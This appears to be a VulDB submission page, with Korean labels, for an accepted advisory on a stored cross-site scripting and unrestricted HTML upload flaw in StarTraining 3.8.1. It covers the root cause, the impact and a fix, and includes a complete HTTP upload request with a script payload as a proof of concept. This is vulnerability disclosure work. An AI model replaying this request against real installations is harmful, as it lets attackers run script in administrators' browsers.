| 제목 | zhistaredu StarTraining 3.8.1 Cross Site Scripting |
|---|
| 설명 | StarTraining 3.8.1 — HTML upload allowed and /profile/** served anonymously (stored XSS) (ST-VULN-006)
Product: StarTraining 3.8.1
CWE: CWE-434 / CWE-79
Classification: Cross Site Scripting
=== SUMMARY ===
`MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION` includes html/htm. Uploaded files are served under `/profile/**` with permitAll GET.
=== ROOT CAUSE ===
Dangerous upload extensions + public static resource mapping.
=== REPRODUCTION ===
POST /common/upload HTTP/1.1
Host: 127.0.0.1:8900
Authorization: USER_TOKEN
Content-Type: multipart/form-data; boundary=----BOUNDARY
Connection: close
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="poc.html"
Content-Type: text/html
<script>alert('ST-PoC')</script>
------BOUNDARY--
# Then open returned /profile/upload/.../poc.html without auth
Expected: Upload returns profile URL; GET executes script in browser
=== IMPACT ===
Stored XSS against admins viewing uploaded resources.
=== FIX ===
Remove html from allowed extensions; require auth on /profile/**; enable XSS filter.
|
|---|
| 원천 | ⚠️ https://github.com/ArrestX/startraining-advisories/blob/main/advisories/ST-VULN-006-stored-html-upload-xss.md |
|---|
| 사용자 | thmanhz (UID 100327) |
|---|
| 제출 | 2026. 08. 05. AM 02:20 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 27. AM 05:38 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 410810 [zhistaredu StarTraining 까지 3.8.1 Upload Endpoint MimeTypeUtils.java 파일 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 20 |
|---|